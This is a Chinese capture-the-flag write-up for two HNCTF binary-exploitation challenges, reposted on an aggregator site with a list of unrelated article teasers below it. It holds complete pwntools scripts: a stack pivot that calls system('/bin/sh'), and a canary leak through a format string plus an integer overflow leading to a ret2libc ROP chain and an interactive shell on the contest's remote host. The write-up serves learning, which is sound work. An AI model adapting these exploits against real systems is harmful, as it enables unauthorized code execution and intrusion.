HNCTF-PWN

1.ez_pwn

直接看危險函數,不能溢出,只能覆蓋ebp。

后面緊接的又是leave,ret

很明顯是棧遷移,通過printf打印出ebp,通過偏移計算出棧地址。

通過gdb調試,偏移是0x38

以下是payload:

from pwn import *
#io=process('./pwn')
io=remote('hnctf.imxbt.cn',24589)
elf=ELF('./pwn')
system=elf.sym['system']
io.recvuntil(b"Welcome to H&NCTF, my friend. What's your name?\n")
payload=b'a'*0x2b+b'b'
io.send(payload)
io.recvuntil(b'b')
stack=u32(io.recv(4))-0x38
print('stack:',hex(stack))
io.recv()
payload=b'ls'.ljust(8,b'\x00')+p32(system)+p32(0)+p32(stack+0x14)+b'/bin/sh'.ljust(0x18,b'\00')+p32(stack+4)
io.send(payload)
io.interactive()

2.idea

這是vuln函數

有canary保護

format也只能讀6個,只能用來泄露信息

但我們觀察到,get_n的參數是usigned int,存在整型溢出漏洞。

思路很明顯了,通過printf泄露canary,然后通過整型溢出漏洞,讓v1為-1,然后構造rop鏈。

以下是代碼

from pwn import *
#io=process('./idea')
#from LibcSearcher import *
io=remote('hnctf.imxbt.cn',23496)
elf=ELF('./idea')
#libc=ELF('./libc-2.23.so')
puts=elf.sym['puts']
got=elf.got['puts']
vul=elf.sym['vuln']
io.recvuntil(b"How many bytes do you want me to read?")
io.sendline(b'-1')
io.recvuntil(b"Ok, sounds good. I'll give u a gift!\n")
io.sendline(b'%7$p')
canary=int(io.recv(10),16)
print('canary:',hex(canary))
io.recvuntil(b'data!\n')
payload=b'aab'.ljust(0x20,b'\x00')+p32(canary)+b'a'*0xc+p32(puts)+p32(vul)+p32(got)
io.sendline(payload)
io.recvuntil(b'b\n')
puts=u32(io.recv(4))
print('puts',hex(puts))
system=puts-0x24800
bsh=puts+0xf9fdb
io.recvuntil(b"How many bytes do you want me to read?")
io.sendline(b'-1')
io.recvuntil(b"Ok, sounds good. I'll give u a gift!\n")
io.sendline(b'%7$p')
canary=int(io.recv(10),16)
print('canary:',hex(canary))
io.recvuntil(b'data!\n')
payload=b'aab'.ljust(0x20,b'\x00')+p32(canary)+b'a'*0xc+p32(system)+p32(0)+p32(bsh)
io.sendline(payload)
io.interactive()

這題沒給libc,有時候LibcSearcher也不全,推薦下面這個網站

libc database search (blukat.me)

3.close

沒什么好說的

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/10743.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/10743.shtml
英文地址,請注明出處:http://en.pswp.cn/web/10743.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

python常用內置對象

1.字符串與字節串 對str 類型調用其encode()方法進行編碼得到byte字符串, 對byte字節串調用其encode()方法并指定正確的編碼格式得到str字符串 “房地產”,encode("utf-8") #對中文進行編碼-.decode("u…

【自然語言處理】【大模型】DeepSeek-V2論文解析

論文地址:https://arxiv.org/pdf/2405.04434 相關博客 【自然語言處理】【大模型】DeepSeek-V2論文解析 【自然語言處理】【大模型】BitNet:用1-bit Transformer訓練LLM 【自然語言處理】BitNet b1.58:1bit LLM時代 【自然語言處理】【長文本…

11.偏向鎖原理及其實戰

文章目錄 偏向鎖原理及其實戰1.偏向鎖原理2.偏向鎖案例代碼演示2.1.偏向鎖案例代碼2.2.1.無鎖情況下狀態2.1.2.偏向鎖狀態2.1.3.釋放鎖后的狀態 2.2.偏向鎖的膨脹和撤銷2.2.1.偏向鎖撤銷的條件2.2.2.偏向鎖的撤銷 2.2.3.偏向鎖的膨脹 2.3.全局安全點原理和偏向鎖撤銷性能問題2.…

面試題-實例

1.什么是線程池? 線程池就是事先將創建好的線程進行整合,當需要使用的時候,直接拿出來進行使用,不用現去創建,可以節約開辟的時間,提高效率。 2.線程池有哪些種類? 在java.util.concurrent.Ex…

EPAI手繪建模APP工程圖頂部工具欄

7、工程圖 圖 302 工程圖 工程圖包括頂部常用工具欄、右側工程圖工具欄、左側模型列表欄、中間的工程圖。 (1) 常用工具欄 ① 刪除,選中場景中工程圖元素后,刪除。可以選擇多個工程圖元素同時刪除。 ② 設置,打開工程圖設置頁面&#xff0…

Java基礎(29)表達式語言(EL)的隱式對象及其作用

表達式語言(Expression Language,簡稱EL)是JSP 2.0及以上版本中引入的一種簡化頁面代碼編寫的語言,它提供了一種在JSP頁面中更容易使用JavaBean屬性及集合的方式。EL主要用于簡化對Java代碼的調用,特別是從后端到前端的…

2024 年最新本地、云服務器安裝部署 miniconda 環境詳細教程(更新中)

Anaconda 概述 Anaconda 是專門為了方便使用 Python 進行數據科學研究而建立的一組軟件包,涵蓋了數據科學領域常見的 Python 庫,并且自帶了專門用來解決軟件環境依賴問題的 conda 包管理系統。主要是提供了包管理與環境管理的功能,可以很方便…

picoCTF-Web Exploitation-More SQLi

Description Can you find the flag on this website. Additional details will be available after launching your challenge instance. Hints SQLiLite 先隨便輸入個賬號密碼登錄一下,得到查詢SQL,接下來應該對SQL進行某些攻擊來繞過密碼登錄成功 -- …

微信小程序踩坑,skyline模式下,簡易雙向綁定無效

工具版本 基礎庫版本 Skline模式 頁面json設置 問題描述 skyline模式下,textarea,input標簽設置簡易雙向綁定 model:value是無效的,關閉skyline模式就正常使用了 截圖展示 這里只展示了textarea標簽,input標簽的簡易雙向綁定也是無效的 總結 我在文檔里面是沒找到skyline里面不…

Android OpenMAX(八)如何學習OMXNodeInstance

前面一篇文章中我們看到media.codec service創建OMX組件后會把組件傳遞給一個OMXNodeInstance對象,并且把OMXNodeInstance對象返回到Framework層,Framework通過調用OMXNodeInstance的API來操作OMX組件。從這一篇開始,我們一起學習OMXNodeInstance,在這里我要強調一下,接下…

動態規劃----股票買賣問題(詳解)

目錄 一.買賣股票的最佳時機: 二.買賣股票的最佳時機含冷凍期: 三.買賣股票的最佳時期含?續費: 四.買賣股票的最佳時機III: 五.買賣股票的最佳時機IV: 買賣股票的最佳時機問題介紹:動態規劃買賣股票的最佳時機是一個經典的…

windows使用Docker-Desktop部署lobe-chat

文章目錄 window安裝docker-desktop下載和啟動lobe-chatAI大語言模型的選擇lobe-chat設置大模型連接 window安裝docker-desktop docker-desktop下載地址 正常安裝應用,然后啟動應用,注意啟動docker引擎 打開右上角的設置,進入Docker Engine設…

算法學習系列(六十):區間DP

目錄 引言區間合并模板一、石子合并二、環形石子合并三、能量項鏈 引言 關于這個區間 D P DP DP ,其實是有套路和模板的,題型的話也是變化不多,感覺就那幾種,只不過有些題會用到高精度或者是要記錄方案,所以整體來說…

Unity編輯器如何多開同一個項目?

在聯網游戲的開發過程中,多開客戶端進行聯調是再常見不過的需求。但是Unity并不支持編輯器多開同一個項目,每次都得項目打個包(耗時2分鐘以上),然后編輯器開一個進程,exe 再開一個,真的有夠XX的。o(╥﹏╥)o沒錯&#…

Hive 與 SQL 標準和主流 SQL DB 的語法區別

文章目錄 1.Hive 簡介2.Hive 與 SQL 標準和主流 SQL DB 的語法區別參考文獻 1.Hive 簡介 Hive是一種基于Hadoop的數據倉庫軟件,可以將結構化數據文件映射為一張數據庫表,并提供了類SQL查詢接口,使得用戶可以使用SQL類語言來查詢數據。Hive可…

7-117 死亡隧道

小毛驢要回家了,憑借著剛從老毛驢處學到的閃爍魔法,小毛驢信心滿滿地出發了。這一次它來到了另一條死亡隧道口,但是,小毛驢不知道死亡威脅隨時存在,因為它所打算穿過的這條死亡隧道即將于T秒時間后坍塌。 已知小毛驢行走的速度是每秒17米,而小毛驢擁有的閃爍法術可以使它…

返回類型后置,一個用途是為了邏輯上的體現?

大家一般都是先關心參數,然后最后再看返回的是什么類型。 在這里把返回類型后置,可能就是一種邏輯上的體現吧 fmt的一個函數。 \fmt\core.h 這個函數的意義,應該就是用變長參數初始化成一個format_arg_store類型的變量,并返回。…

Rust學習筆記(上)

前言 筆記的內容主要參考與《Rust 程序設計語言》,一些也參考了《通過例子學 Rust》和《Rust語言圣經》。 Rust學習筆記分為上中下,其它兩個地址在Rust學習筆記(中)和Rust學習筆記(下)。 編譯與運行 Ru…

成功解決No module named ‘huggingface_hub.inference._text_generation‘

成功解決No module named huggingface_hub.inference._text_generation 目錄 解決問題 解決思路 解決方法 解決問題 No module named huggingface_hub.inferen

python使用yaml文件以及元組樣式字符串使用eval的類型轉換

編程中,對于可變內容,最好是將其放入配置文件中,經過這段時間的學習,感覺使用yaml文件很方便。我的環境:win10,python3.8.10。 python使用yaml文件,首先要安裝庫。 pip38 install pyyaml 安裝…